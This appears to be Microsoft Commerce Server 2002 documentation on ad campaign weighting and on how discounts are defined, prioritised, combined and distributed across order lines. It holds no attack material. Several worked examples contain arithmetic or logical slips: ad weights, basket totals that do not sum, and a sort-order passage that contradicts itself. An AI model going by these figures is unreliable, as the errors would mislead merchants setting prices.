    Blue paint | 1 | 10
    Green paint | 2 | 20
    Red paint | 3 | 30
    Yellow paint | 4 | 40
    Total Weight | 10 | 100

    The total weight of all the ads is 100 (10+20+30+40 = 100). The blue paint ad has a weight of 1 so it will be displayed once out of every ten ad requests.

    For paid ads, the weight is the ratio of a single ad to the sum of all the campaign items for that campaign. For house ads, the weight is the sum of the weights of all other house ads in the campaign.

    For ads that are goaled at the campaign item level, weight is not used to determine the delivery of the ad. Instead, you directly specify the number of requests or clicks that should be served.

  • Page Groups. A set of related Web pages is tagged with a particular page group name and used for targeting ads. For example, if you are running a newspaper site, you might create a page group for Sports, one for the Top Story, and another for Local News. You can then target ads to display only on pages in certain page groups.

    You create page groups using the Reference Tables module.

  • Target Groups. A collection of targets to which content will be displayed. In a target group you combine expressions by specifying the action to be taken when each expression evaluates to "True." For more information about target groups, see Creating a Target Group.

See Also

Creating a Target Group

Creating a Target Expression

Creating an Ad

Expression-based Targeting


Processing Ad Campaign Items

The Content Selection Framework (CSF) processes the variables that you specify for an ad: campaign goaling, exposure limit, schedule, weight, page groups, and target groups. Each time a user visits your site, the CSF determines whether the ad is to be displayed.

The CSF for advertising uses a formula called Need of Delivery (NOD) to initially score the ads based on how far behind schedule the ads are. This formula takes into account the total quantity of content to be delivered and the length of time over which the quantity must be delivered. Need of Delivery is calculated for each ad request by the CSF after it has processed the ad request. Need of Delivery is applied to paid ads only; it is not applied to house ads.

If you have several ads and want to know on what basis they are being displayed, contact your site developer. Commerce Server includes a tool named TraceScores that your site developer can use to trace the ad selection process. Use TraceScores to see exactly how the internal content decision process works.

If you plan to run several campaigns simultaneously, using the same target group and the same priority, the CSF selects the ad to be displayed based on the ad type. If the ads are both house ads, an ad is selected at random using the weights as relative probabilities. If the ads are paid ads, an ad is selected for display based on the Need Of Delivery calculation (which takes into account the start date, end date, number of events scheduled, and number of events served to date). One score modification used is History Penalty, which applies a decreasing penalty to ads recently seen by a user. When History Penalty is enabled, ads are "rotated" over time.

See Also

About Campaigns

Creating an Ad

Campaign Goaling

Processing Expressions


Multilingual Ads

If you want to use ads in multiple languages, you must recreate each ad in the appropriate language. For information about creating an ad, see Creating an Ad.

Note

  • When creating ads in multiple languages, note that the Ad name has a size limitation of 50 characters.

See Also

About Campaigns

Creating an Ad


Discounts

Discounts are a critical part of the Commerce Server merchandising system. The Commerce Server discounts feature provides you with the ability to create and publish promotional prices on products or product groups to users that meet certain specified conditions. You can apply discounts to any item in your catalog. You can apply a discount against an entire order (an order-level discount), or you can apply it against specific items in the order (an item-level discount).

Commerce Server 2002 provides you with the ability to apply multiple discounts to an item or an order, and control over the sequence in which the discounts are applied. Commerce Server 2002 also allows you to mix both item-level and order-level discounts in a single order. For information about the order in which multiple discount types appear, see Discount Sort Order. For information about multiple discounts, see Multiple Discounts.

  • Item-level discounts apply to specific products in the basket. You can apply multiple discounts to a single line item or to a single order.
  • Order-level discounts apply to all products in a shopping basket. For example, free shipping is a type of order-level discount—you can give users free shipping for all products in their basket. Order-level discounts delivered with Commerce Server are free shipping, and a percentage or dollar amount off the total price. You cannot apply multiple discounts to an order-level discount. Order-level discounts have an implicit limit of 1.

You can use Commerce Server to create and apply the following discount types:

  • Click-required discounts are only applied if the user clicks the discount URL, which may be an image of the product that says, for example, "10 percent off." Site developers can extend this type of discount for other uses, such as offering coupons, which the user must have in order to enjoy the discount.
  • Leverage discounts are based on the purchase of other products. For example, when users add a telephone to their basket, you can offer them a hands-free headset at checkout that they can then accept by adding it to their basket. Or, you can offer users another accessory at a discounted price.
  • Percentage-off discounts reduce the price of products by a percentage, rather than by a monetary amount. For example, you can discount products by 10 percent, and then change the price of the products as needed. When you change the price of the products, the discount amount is updated automatically.
  • Dollar-off discounts reduce the price of products by a fixed amount. For example, you can offer a $5.00 discount on certain products. Even though you may change the price of the products, the discount amount ($5.00) always stays the same.
  • "Happy Hour" discounts reduce the price of products during certain dates or times. To schedule discounts to apply during certain hours, you can build expressions that evaluate the Current Time property. For example, an expression you could use might be if Current Time > 5:00 pm and Current Time < 9:00 pm, discount the product by 10 percent.

You can apply these discounts to individual products, all the products in a category, or you can create an expression to discount products that meet specific criteria, for example, to offer a 10 percent discount on all items from a certain manufacturer.

For example, you can create discounts to apply in the following situations:

  • Price of product is greater than $20.00. This is a discount condition expression. Discount condition expressions are based on a product property.
  • User buys two of the same product. This is part of a required discount condition criteria.
  • User clicks a discount ad on the Sports page. This is the click-required part of a discount.
  • User is registered. This is a discount eligibility expression. Discount eligibility expressions are based on user profiles and context profiles.

Note

  • For examples of how to set up discounts for your various business tasks, see Discount Examples.

This section contains:

  • Components of a Discount
  • Discount Priority
  • Discount Conditions
  • Discount Awards
  • Discount Limits
  • Disjoint Discounts
  • Click Required Discounts
  • Discount Eligibility Requirements
  • Multiple Discounts
  • Discount Sort Order
  • Processing Discounts
  • Distributing Order-level Discounts
  • Multilingual Discounts


Components of a Discount

A discount has the following components: discount properties, discount definition, discount target, and discount display. You use the Campaign Manager module to define these components when you create the discount.

Discount properties

Discount properties are the name of the discount, status, priority, start date and end date.

Status

Status is a flag that determines if the discount is active or inactive. Discounts are applied only if this flag is active. For example, a business manager creates a discount that promotes holiday sweaters. After the holiday, the business manager inactivates the discount, however, the discount remains in the system. The business manager can then reactivate the discount for the next holiday season.

Priority

Priority determines the order in which the discounts are applied relative to other discounts that may also apply. For more information about discount priority, see Discount Priority.

Start Date

Start Date determines the start date of the discount. The discount is applied only if the start date is before the current date.

End Date

End Date determines the end date of the discount. The discount is applied only if the end date is after the current date.

Discount definition

The discount definition is a specification of what you are discounting, how much, and for whom. A discount definition has the following parts: Condition (Buy), Award (Get), Limit, Disjoint discounts, Click Required, Eligibility Requirements, and Discount Interaction Policies.

Condition (Buy)

Condition (Buy) specifies if the award will be offered to the user. The Buy condition includes a buy anything condition, a condition type, a condition value, and a catalog expression.

  • Buy Anything specifies that if there is a product is in the basket to which you can apply an award, the discount will always apply.
  • Condition type determines the type of Buy condition. There are two types of Buy conditions: Quantity and Value.

    Note

    • Commerce Server 2002 does not support decimals in quantity values.
  • Condition value specifies the dollar or unit value of the condition.
  • Catalog expression evaluates against each item in the user basket. You can create a buy condition expression based on the product catalog. The expression must evaluate to "True" at least once for the discount to apply.

For more information about discount conditions, see Discount Conditions.

Award (Get)

Award (Get) identifies what the user receives, for example, a 10 percent discount or free shipping. The Get award contains a target type, a value type, and a catalog expression.

  • Target type defines the award target. There are three types of awards that can be given: item-level discounts, order-level discounts, and free shipping (which is an order-level discount).
  • Award Maximum determines the number of award items the user receives if the discount is applied. If the user basket contains fewer items than the award maximum, only those items in the basket will receive the award.
  • Catalog expression applies the discount award only if the expression evaluates to "True". The discount catalog expression is evaluated against each item in the user basket. The expression must evaluate to "True" at least once for the discount to apply.
  • Value type defines the award value. The award values are percent off discounts and dollar off discounts.

For more information about discount awards, see Discount Awards.

Limit

Limit determines the maximum number of times the discount can be applied to the basket. For more information about discount limits, see Discount Limits.

Disjoint discounts

Disjoint discounts are discounts that apply if the Get and Buy clauses refer to the same product. This property determines whether to reuse the condition item as an award for the discount. The two disjoint discounts are:

  • Apply offer on Get product alone. Used by business managers to moderately promote a product.
  • Apply offer on both Get and Buy products. Used by business managers to aggressively promote a product.

For more information about disjoint discounts, see Disjoint Discounts.

Click Required

Click Required applies the discount only when the user actually clicks on the discount. For more information about click required discounts, see Click Required Discounts.

Eligibility Requirements

Eligibility Requirements specify to whom the discount applies. Eligibility requirements are also referred to as target expressions. If the target expression evaluates to "True" the discount is applied. For more information about eligibility requirements, see Discount Eligibility Requirements.

Discount Interaction Policies

Discount Interaction Policies determine whether an item can receive multiple discounts or multiple awards. Commerce Server supports four different discount interaction policies.

  • Allow conditions of this discount to be used as conditions of other discounts
  • Allow conditions of this discount to enjoy awards of other discounts
  • Allow awards of this discount to be used as conditions of other discounts
  • Allow awards of this discount to enjoy awards of other discounts

Note

  • This property is relevant only if there are multiple qualifying discounts to be applied to the user basket.

For more information about discount interaction policies, see Multiple Discounts.

Discount Display Target

The discount target identifies the pages on which the discount will be advertised, and to which target groups. For more information about the discount display target, see Targeting a Discount to Page Groups and Target Groups.

Discount Display

The discount display identifies how many times you will display the discount to a user, the image and/or URL that the user clicks to get the discount, and the discount information that will be displayed in the basket when the user checks out.

You can display a discount with a different currency than the preferred currency of the site. For example, if a user selects Yen as their preferred currency and U.S. dollars is the currency of the site, the discount displays in U.S. dollars. As the user browses through the site, the user views all product prices in Yen, but the currency on the discounts will be shown in U.S. dollars.

Note

  • It is recommended that the Web site use a third party accounting system to handle monetary conversions. Because the conversion rate charged by the bank of the user may be different than the conversion rate stored in the site code, the user may be charged a slightly different amount than what was presented on the receipt page of the site (thus, all prices on the site are marked "approximate"). When the user submits their order the user is given an approximate total in both their preferred currency and the booking currency of the site.

For more information about the discount display, see Specifying the Discount Display.

See Also

Discount Priority

Disjoint Discounts

Multiple Discounts

Discount Conditions

Discount Awards

Discount Limits

Click Required Discounts

Discount Eligibility Requirements


Discount Priority

You give every discount a priority that determines when it should be applied relative to other discounts that may also apply to a product. (Unlike ads, discounts do not use weights to determine when they are delivered.) Discounts are applied from the lowest numerical number to the highest. For example, a discount with a priority of 10 will be applied before a discount with a priority of 20. This is true even if the discounts apply to the same award item.

For example, the beverage department of your online store has a special offer for summer: buy one case of juice; get the second case for half price. However, your online store has another special offering 10 percent discount on each product in the beverage category. Assume you prioritize these discounts as shown in the following table.

Discount | Priority
Buy one case of juice, get the second case at a 50 percent discount. | 10
10 percent discount on each product in the beverage category. | 20

If a user buys four cases of juice, the discounts are applied as follows:

  • Case 1: No discount
  • Case 2: 50 percent discount
  • Case 3: No discount
  • Case 4: 50 percent discount, only if no limit was placed on the "Buy one get second half price" discount. The 50 percent discount would apply again instead of the 10 percent discount because you gave it a higher priority.

Multiple discounts can be combined if they have the same priority (for example, 10), the same discount type (for example, percentage off at the item-level), and the discount interaction policy set that allows the awards of the discount to be reused as awards of other discounts. For example, in the following scenario, two discounts are combined into a single 30 percent discount.

In this example, you create two discounts and assign each a priority 10 as shown in the following table.

Discount | Priority
Buy a telephone, get 10 percent off a radio. | 10
Buy a video game, get 20 percent off a radio. | 10

The two discounts will be combined into a single 30 percent discount since they have the same priority (10), the same discount type (percentage off at the item-level), and the Allow awards of this discount to be reused as awards of other discounts policy set. For information about discount interaction policies, see Multiple Discounts.

User Basket (after the discounts are applied)

Product | Price | Discount | Adjusted Total
Telephone | 40 |  | 40
Video game | 50 |  | 50
Radio | 30 | 9 (30*.30) | 21
 |  | Total | 111

Dollar off discounts are prioritized the same way. The discounts will be combined if the discount priorities are the same.

Note

  • Discounts are first sorted by priority. If discounts have the same priority, they are then sorted by interaction policy (if Allow awards of this discount to be reused as awards of other discounts is set to false, it will be sorted first). If discounts have the same priority, but are not the same discount type (percentage off or dollar off discounts), then the OrderDiscount pipeline component determines which discount type to apply first. For information about the OrderDiscount pipeline component, see How Discounts are Applied Programmatically.

See Also

Multiple Discounts

Disjoint Discounts

Creating a Discount

Discount Examples

Discount Sort Order


Discount Conditions

The discount condition (Buy) specifies if an award will be offered to the user. The award is based on what the user buys. The Buy condition must be true for the discount to apply. The condition is evaluated for each item in the order form. A condition can be an expression specifying that the discount applies to a particular item, or it can specify that it apply to all items. The Buy condition includes a Buy Anything property, a condition type, a value, and a catalog expression.

  • Buy Anything specifies that if there is a product in the basket to which the discount can be awarded, the discount will always apply. For example, buy anything, and get a free belt. The Buy Anything property also specifies that an item in the basket will not be used up as a condition.

    Note

    • If the basket is empty, Buy Anything discounts will always qualify for an award. "Buy Anything" is the same as "Buy any product of quantity zero (0)."

    For an example of a Buy Anything discount, see Order-level/Item-level: Buy C, get $10.00 off the total, and buy anything, Get B at 10 percent off in the topic "Discount Examples."

  • Condition Type determines the type of Buy condition. There are two Buy conditions for a discount: quantity and value. You can apply discounts based on the quantity that users purchase, or on the value of the purchase. For example, you can create a discount that applies when a user buys three cases of juice (quantity), or a discount that applies when a user buys $20.00 worth of juice (value).

    Note

    • Commerce Server 2002 does not support decimals in quantity values.
  • Condition value specifies the dollar or unit value of the condition.
  • Catalog expression is an expression based on the product catalog. The catalog expression evaluates against each item in the user basket. The expression must evaluate to "True" at least once for the discount to apply. Following are examples of catalog expressions in the Condition (Buy) column, and the awards in the Award (Get) column.
    Condition (Buy) | Award (Get)
    Buy one pair of jeans | Get one shirt at 50 percent off
    Buy two of any product in the Digital Camera category | Get 30 percent of a roll of film
    Buy one of any product in the Digital Camera category
    OR
    Buy a Camcorder     		Get $20.00 off a radio

For information about creating a catalog expression, see Creating a Catalog Expression.

Notes

  • The discount is not guaranteed to apply since it is not known whether the award for the discount is available.
  • Both AND and OR cumulative conditions are allowed in a catalog expression, but only the OR condition is supported for discounts. The AND condition is not supported and should not be used.

See Also

Multiple Discounts

Discount Examples

Creating a Discount

Discount Awards


Discount Awards

The discount award (Get) identifies what the user receives. The discount award contains a target type, an award maximum, a catalog expression, and a value type.

  • Target type defines the award target. There are three types of awards that can be given: item-level discounts, order-level discounts, and shipping discounts. The only shipping discount Commerce Server 2002 supports out-of-the-box is free shipping. A site developer must make custom changes to your site for percentage off and dollar off variations of the shipping discount.
  • Award Maximum determines the number of award items the user receives if the discount is applied. If the user basket contains fewer items than the award maximum, only those items in the basket will receive the award.
  • Catalog expression applies the discount award only if the expression evaluates to "True". The catalog expression is based on the product catalog. The discount catalog expression is evaluated against each item in the user basket. The expression must evaluate to "True" at least once for the discount to apply. For example:
    Condition (Buy) | Award (Get) | Offer
    Buy one pair of jeans | Get one Turtleneck T-shirt | At 50 percent off
    Buy an order over $500.00 | Get Any pant in the Blue Jean category | Free
    Buy one Camcorder model 123 Get one Memory card
    OR
    two Camcorder stands     		40 percent off

For information about creating catalog expressions, see Creating a Catalog Expression.

  • Value type defines the award value. The award values are percent off discounts, and dollar off discounts.

    Note

    • You can create zero (0) dollars off discounts, however, Commerce Server 2002 does not support zero (0) percentage off discounts.

Note

  • Both AND and OR cumulative conditions are allowed in the Catalog Expression Builder, but only the OR condition is supported for discounts. The AND condition is not supported and should not be used.

There are multiple ways you can award the discount to the user. Commerce Server supports three types of awards:

  • Item-level discounts apply to specific products in the basket. You can apply multiple discounts to a single line item or to a single order.
  • Order-level discounts apply to all products in a shopping basket.
  • Shipping discounts apply to the shipping charges that users pay to have the items they order delivered to their address. The only shipping discount Commerce Server 2002 supports is free shipping. A site developer must make custom changes to your site for percentage off and dollar off variations of the shipping discount.

The following sections describe the types of discount awards that are available:

Order Subtotal Discount

Free Shipping

Order Subtotal Discount

The Order Subtotal Discount applies discounts to the order subtotal. An order subtotal discount is an order-level discount that applies to all products in a shopping basket. For example, free shipping is a type of order-level discount: you can give users free shipping for all products in their basket. Order-level discounts delivered with Commerce Server are free shipping, and a percentage or dollar amount off the total price. You cannot apply multiple discounts to an order-level discount. Order-level discounts have an implicit limit of 1.

To handle refunds properly, order-level discounts should be distributed across all line items. Commerce Server 2002 distributes percentage off discounts and dollar off discounts. For information about distributing order-level discounts see Distributing Order-level Discounts.

Note

  • If you want to restrict a particular item from participating in an order-level discount (for example, an item in high demand), see the "OrderLevelDiscountApply" component at <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Order Processing\OrderLevelDiscountComponents. This component allows you to specify the name of a key that specifies whether the item can receive an offer.

    This feature does not apply to item-level discounts, but can be added with custom configuration work.

Free Shipping

The Free Shipping property applies free shipping as a discount award to all products ordered. Shipping discounts apply to an order at the cumulative level, as apposed to an item specific level, which makes them similar to an order-level discount. A site developer must make custom changes to your site for percentage off and dollar off variations of the shipping discount.

Multiple Ship-to addresses

Commerce Server 2002 supports multiple ship-to addresses. For example, a user can buy a number of items, and have them shipped to multiple addresses.

Shipping discount and interaction policies

The following example explains how interaction policies of the shipping discount and the order-level discount are linked to each other. For information about discount interaction policies, see Multiple Discounts.

Discount | Condition (Buy) | Award (Get) | Priority
Discount 1 | Buy an order subtotal greater than $300.00 | Get an order-level discount of $20.00 | 10
Discount 2 | Buy a Camcorder | Get free shipping | 20

The following is in the user basket:

Item | Quantity | Unit price | Extended price
Camcorder | 1 | 200.00 | 200.00
Digital Camera | 1 | 300.00 | 500.00
Total |  |  | 700.00

Discount 1 will apply first because it has a priority of 10. The shipping discount is a cumulative discount, so the shipping discount and the order-level discount are linked using Commerce Server common discount interaction policies. Therefore, Discount 1 blocks any further awards, and Discount 2 will not be applied.

See Also

Multiple Discounts

Creating a Discount

Discount Examples

Discount Conditions


Discount Limits

You can limit the number of discounts that can be applied to a basket. If the discount limit has a value of zero (0), discounts are unlimited: the discount can apply multiple times, assuming the condition for the discount is met multiple times in the basket. The discount limit is a basket limit and does not apply across baskets. For example, if a user checks out, returns to the site, and buys the same discounted items then the user will receive the same discount again.

See Also

Creating a Discount

Discount Examples


Disjoint Discounts

Disjoint discounts are discounts that apply if the Get and Buy clauses refer to the same product. This property determines whether to reuse the condition item as an award for the discount. The two disjoint discounts are:

  • Apply offer on Get product alone. The buy condition cannot be reused as an award. Used by business managers to moderately promote a product.
  • Apply offer on both Get and Buy products. The buy condition can be reused as an award. Used by business managers to aggressively promote a product.

The following discount will yield different results depending on the disjoint discount you select. The basket results are displayed for each disjoint discount:

  • Condition: Buy two unisex shirts.
  • Award: Get one unisex shirt at 40 percent off.
  • Disjoint Discount: Apply offer on Get product alone.

The following basket shows a 40 percent discount off the third unisex shirt in the basket. Because the Apply offer on Get product alone disjoint discount property was selected, the condition item could not be reused as the award. The first and second shirts were used as the condition, and the 40 percent discount is awarded to the third unisex shirt. There are no conditions or awards on the fourth shirt.

  • Condition: Buy two unisex shirts.
  • Award: Get one unisex shirt at 40 percent off.
  • Disjoint Discount: Apply offer on both Get and Buy products.

The following basket shows a 40 percent discount off the second and fourth unisex shirts in the basket. Because the Apply offer on both Get and Buy products disjoint discount property was selected, the condition items was reused as the awards. The first and second unisex shirts in the basket were used as a condition, and the second shirt was awarded the 40 percent discount. The third and fourth shirts in the basket were used as a condition, and the fourth shirt was awarded the 40 percent discount.

See Also

Multiple Discounts

Discount Sort Order

Creating a Discount

Discount Examples


Click Required Discounts

Click required discounts apply only when the user clicks on the discount. If the Click required discount property is "True", the user must click on the advertisement associated with the discount to be eligible for the discount. This property links the advertising and merchandising features of your business.

Note

  • Site developers can extend this type of discount for other uses, such as offering coupons, which the user must have in order to enjoy the discount. For information about coupons, see Coupons.

See Also

Creating a Discount

Discount Examples


Discount Eligibility Requirements

Eligibility requirements specify to whom a discount applies. Eligibility requirements are target expressions. If the target expression evaluates to "True" the discount is applied. For example, if favorite sport = mountain climbing, apply the discount.

Eligibility requirements are created using context properties, such as User Object, Targeting Context, and Evaluator Intrinsics (current data, current time). By creating a target expression, you can target the users that will receive the discount. For example, you can target users who like music, and offer them a 20 percent discount off a jazz CD. For information about creating target expressions, see Creating a Target Expression.

You can also use target groups to determine which users to whom you will display a discount. For information about creating target groups, see Creating a Target Group.

See Also

Creating a Target Expression

Expression-based Targeting

Creating a Target Group

Creating a Discount

Discount Examples


Multiple Discounts

Discount interaction policies are rules that determine whether an item can receive multiple discounts or multiple awards. Commerce Server 2002 supports four different discount interaction policies.

  • A condition item can be reused as another condition item. Instructs Commerce Server 2002 that a condition item used to qualify for an offer can be reused again to qualify for another offer.
  • A condition item can be reused as an award item. Instructs Commerce Server 2002 that an item used to qualify for a discount can still be eligible to receive an offer.
  • An award item can be reused as a condition item. Instructs Commerce Server 2002 that an item upon which an award was given can still be used to qualify for other offers.
  • An award item can be used as another award item. Instructs Commerce Server 2002 that an item upon which an award was given is eligible to receive additional offers, for example, an item can receive multiple awards.

The four discount interaction policies can all be selected at the same time. Together they provide you with significantly more control over how discounts are applied. The effect of each policy is described in more detail in the following examples.

A condition item can be reused as another condition item

A condition item can be reused as an award item

An award item can be reused as a condition item

An award item can be used as another award item

A condition item can be reused as another condition item

This interaction policy allows you to use an item in the shopping basket to satisfy more than one condition.

In the following example, the pants are part of the condition for both Discount 1 and Discount 2. Because the Allow conditions of this discount to be reused as the conditions for other discounts policy is set, the pants can be used to qualify for both discounts.

Discount 1

Condition Items | Award Items | Discount Limit | Offer | Priority
Buy one pair of pants | Get one belt | 1 | At 50 percent off | 10

Discount 2

Condition Items | Award Items | Discount Limit | Offer | Priority
Buy two pairs of pants | Get one shirt | 1 | At 50 percent off | 20

The following is an example of the user basket:

Item | Unit Price | Discount | Adjusted Price
First pair of pants | 50.00 | 0.00 | 50.00
Second pair of pants | 50.00 | 0.00 | 50.00
First shirt | 30.00 | 15.00 | 15.00
Second shirt | 30.00 | 0.00 | 30.00
Belt | 10.00 | 5.00 | 5.00
TOTAL | 170.00 | 20.00 | 150.00

The first pair of pants is used to qualify for the 50 percent discount on the belt. The first pair of pants is also used with the second pair of pants to qualify for the 50 percent discount on the shirt. Therefore, the first pair of pants was used to qualify for both discounts. Because the discount limit in Discount 1 is 1, the second shirt does not receive the discount.

A condition item can be reused as an award item

This interaction policy allows you to use an item in the shopping basket to qualify for an award and can then be reused to quality as an additional award.

In the following example, the pants are part of the condition in the first discount. In the second discount, the pants are part of the award. Since the Allow conditions of this discount to enjoy awards of other discounts policy is set on the first discount, the 50 percent off offer is applied to one of the two pair of pants in the basket.

Discount 1

Condition Items | Award Items | Offer | Priority
Buy one pair of pants | Get one belt | At 50 percent off | 20

Discount 2

Condition Items | Award Items | Offer | Priority
Buy two shirts | Get one pair of pants | At 50 percent off | 20

The following is an example of the user basket:

Item | Unit Price | Discount | Adjusted Price
First pair of pants | 50.00 | 25.00 | 25.00
First shirt | 30.00 | 0.00 | 30.00
Second shirt | 30.00 | 0.00 | 30.00
Belt | 10.00 | 5.00 | 5.00
TOTAL | 120.00 | 30.00 | 90.00

An award item can be reused as a condition item

This interaction policy allows an item in the shopping basket to which an award was given, to also be used as a condition.

In the following example, in Discount 1 the shirt is the award item. In Discount 2 the shirt is the condition. Since the Allow awards of this discount to be reused as conditions of other discounts policy is set for Discount 1, Discount 2 will be applied. If the policy were not set, Discount 2 would not be applied because by default, Commerce Server 2002 does not allow an award item to be used to satisfy a condition.

Discount 1

Condition Items | Award Items | Offer | Priority
Buy two pairs of pants | Get one shirt | At 50 percent off | 10

Discount 2

Condition Items | Award Items | Offer | Priority
Buy one shirt | Get one belt | At 50 percent off | 20

The following is an example of the user basket:

Item | Unit Price | Discount | Adjusted Price
First pair of pants | 50.00 | 0.00 | 50.00
Second pair of pants | 50.00 |  | 50.00
First shirt | 30.00 | 15.00 | 15.00
Belt | 10.00 | 5.00 | 5.00
TOTAL | 140.00 | 20.00 | 120.00

An award item can be used as another award item

This interaction policy allows an item in the shopping basket to receive multiple awards, which allows multiple discounts to be used in conjunction on the same item.

In the following example, since the Allow awards of this discount to also enjoy awards of other discounts policy is set in Discount 1, the offers in Discount 1 and Discount 2 will both apply to the belt, which makes the total discount 50 percent off (25 percent + 25 percent). Because the discounts have the same priority, they will be combined into a single discount. Since the Allow awards of this discount to be reused as conditions of other discounts policy is set for Discount 1, Discount 2 will be applied. If the policy were not set, Discount 2 would not be applied because by default, Commerce Server 2002 does not allow an award item to be used to satisfy a condition.

Discount 1

Condition Items | Award Items | Offer | Priority
Buy one pair of pants | Get one belt | At 25 percent off | 10

Discount 2

Condition Items | Award Items | Offer | Priority
Buy one shirt | Get one belt | At 25 percent off | 10

The following is an example of the user basket:

Item | Unit Price | Discount | Adjusted Price
Pair of pants | 50.00 | 0.00 | 50.00
Shirt | 30.00 | 0.00 | 0.00
Belt | 10.00 | 5.00 | 5.00
TOTAL | 90.00 | 5.00 | 85.00

See Also

Discount Examples

Discount Sort Order

Disjoint Discounts

Creating a Discount


Discount Sort Order

The order in which award items in the user basket are processed impacts the total discount the user receives. The default sort order in Commerce Server 2002 applies the award to the most expensive item in the basket, which favors the user. If the award first applies to the least expensive item, the award favors the user. If you want the default sort order changed, contact your site developer.

Note

  • The order in which the basket items are processed for the discount conditions also impacts the total discount the user receives. However, this sort order cannot be changed.

See Also

Multiple Discounts

Discount Examples


Processing Discounts

The Discounts Content Selection Framework (CSF) pipeline uses the OrderDiscount pipeline component to process discounts. You use the Discounts CSF pipeline to advertise the most appropriate discount to a user, and the Basket pipeline to apply discounts to the shopping basket.

  • Discounts CSF pipeline checks the start date and end date of the discounts, and then adjusts the scores in the list of possible discounts. It ensures that the discounts that are most relevant to the current user receive the highest priority.
  • The OrderDiscount pipeline component first applies the requirements to the available discounts. Depending on the discount involved, it uses the user profile and context profile information to evaluate target expressions. In addition, if a discount requires a click, it checks the list of campaign item IDs for every item clicked. Next, the Order pipeline processes each item, testing the conditions and awards. Discounts are applied from highest to lowest priority. If two discounts have the same priority, properties other than the priority determine the order in which the discounts are applied.

See Also

Creating a Discount

Creating Campaign Expressions


Distributing Order-level Discounts

To handle refunds properly, order-level discounts should be distributed across all line items. Commerce Server 2002 distributes percentage off discounts and dollar off discounts.

For example, you offer a 10 percent discount to preferred users on the following order:

  • 4 books at $25 each = $100

If the discount is only applied to the final price, the receipt will look like the following:

Item | Amount
Book #1 | 25.00
Book #2 | 25.00
Book #3 | 25.00
Book #4 | 25.00
Sub Total | 100.00
Discount | (10.00)
Total | 90.00

In this example, the 10 percent discount is applied to the final price (100.00). If a user returns one of the books, they will receive a full refund of $25.00. However, the user did not pay $25.00 for each book; they actually paid $22.50 for each book.

The following example shows the discount amount distributed across all items for the same order.

Item | Discount | Amount
Book #1 | 2.50 | 22.50
Book #2 | 2.50 | 22.50
Book #3 | 2.50 | 22.50
Book #4 | 2.50 | 22.50
Total | 10.00 | 90.00

In the above example, the adjusted price of each item is recorded at $22.50, and the final sales price is the same as the discount that was applied to the final price. This example properly reflects the discount. If the user returns one of the books, they will not be overpaid on the refund.

Distributing percentage off discounts

Commerce Server 2002 distributes percentage off discounts by applying the offer to each item in the order. Percentage off discounts use the following algorithm:

PercentageDiscount = Round((ItemAdjustedPrice*DiscountFraction),2;

Which is equivalent to the following:

Round the value: ItemAdjustedPrice*DiscountFraction to two decimal places, where ItemAdjustedPrice is the price of the item after it is adjusted for discounts that were applied before the order-level discount.

Following is an example of two percentage off discounts and how they are applied to the user basket:

Discount Component | Discount 1 | Discount 2
Condition | Buy one shirt | Buy anything
Award | Get one shirt at 30 percent off | Get an order-level discount of 10 percent off
Disjoint Discount | Apply offer on both Get and Buy products | Apply offer on Get product alone
Limit | None | None
Priority | 10 | 20

Following is the user basket before the discounts are applied:

User Basket (before the discounts are applied)

Item | Quantity | Unit Price | Discount | Adjusted Price | Total Price
Shirt | 2 | 12.36 | 0 | 24.72 | 24.72
Order Adjusted Subtotal |  |  |  | 24.72 | 24.72

Following is the user basket after the first discount is applied:

User Basket (after Discount 1 is applied)

Item | Quantity | Unit Price | Discount | Adjusted Price | Total Price
Shirt | 2 | 12.36 | 7.42 | 17.30 | 17.30
Order Adjusted Subtotal |  |  |  | 17.30 (0.3*12.36) | 17.30

Following is the user basket after the second discount is applied:

User Basket (after Discount 2 is applied)

Item | Quantity | Unit Price | Discount | Adjusted Price | Total Price
Shirt | 2 | 12.36 | 9.15 (7.42+1.73) | 15.57 | 15.57
Order Adjusted Subtotal |  |  |  | 15.57 | 15.57

While the second discount is applied, the 10 percent discount is applied to 17.30 (the adjusted price after the first discount is applied; not 24.72, which was the adjusted price before the first discount was applied.

Note

  • In the examples above, percentage discounts are rounded to two decimal points.

Because Commerce Server applies the discount offer to each item in the order, and percentage discounts round to two decimal places, a potential accounting problem may exist.

The following order-level discount shows an example where the adjusted item price does not equal the order adjusted subtotal due to rounding.

Condition: Buy Anything

Award: Order-level discount of 15 percent

Following is the user basket after the order-level discount is applied:

User Basket

Item | Quantity | Unit Price | Discount | Adjusted Price | Total Price
Shirt | 2 | 12.36 | 3.708 (rounded to 3.71) | 21.01 |
Pant | 1 | 7.64 | 1.146 (rounded to 1.15) | 6.49 |
Order Adjusted Subtotal |  | 32.36 | 4.854 (rounded to 4.85) | 27.51 |

Note that the sum of the Adjusted Price (21.01+6.49=27.50) does not equal the Order Adjusted Subtotal (32.36+4.85=27.51). The Commerce Server Software Development Kit (SDK) contains the code for applying percentage off order-level discounts and it can be changed to meet your specific business needs.

For information about changing the code for applying order-level discounts, see "BaseOrderDiscountEngine.cpp" in the SDK at <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Order Processing\OrderLevelDiscountComponents.

Distributing dollar off discounts

To distribute dollar off discounts, the amount of each item discount is calculated and the discount is distributed across all items in the basket. Dollar off discounts use the following algorithm:

ItemDiscount = Truncate(((ItemAdjustedPrice/OrderAdjustedSubtotal)*DiscountAmount),2);

Which is equivalent to the following:

Truncate the value: ItemAdjustedPrice/OrderAdjustedSubtotal to two decimal places; where ItemAdjustedPrice is the price of the item after it is adjusted for discounts that were applied before the order-level discount; and the OrderAdjustedSubtotal is the total order subtotal after it is adjusted for discounts that were applied before the order-level discount.

Note

  • Dollar discounts round to two decimal points.

The following example illustrates how dollar off discounts are distributed across the line items in the basket. A $25.00 discount is offered to preferred users on the following order:

  • 2 shirts at $30.00 each
  • 2 pairs of pants at $50.00 each
  • 1 belt at $10.00

Following is the user basket before the $25.00 discount is applied:

User Basket

Item | Quantity | Unit Price | Extended Price
Shirt | 2 | 30.00 | 60.00
Pants | 2 | 50.00 | 100.00
Belt | 1 | 10.00 | 10.00
Total |  |  | 170.00

Following is the user basket after the $25.00 discount is applied:

User Basket

Item | Unit Price | Discount | Adjusted Price
First shirt | 30.00 | 4.41 | 25.59
Second shirt | 30.00 | 4.41 | 25.59
First pair of pants | 50.00 | 7.35 | 42.65
Second pair of pants | 50.00 | 7.35 | 42.65
Belt | 10.00 | 1.47 | 8.52
Total | 170.00 | 24.99 | 145.00

Note that the sum of the discounts equals $24.99, rather than the total $25.00 discount for the order.

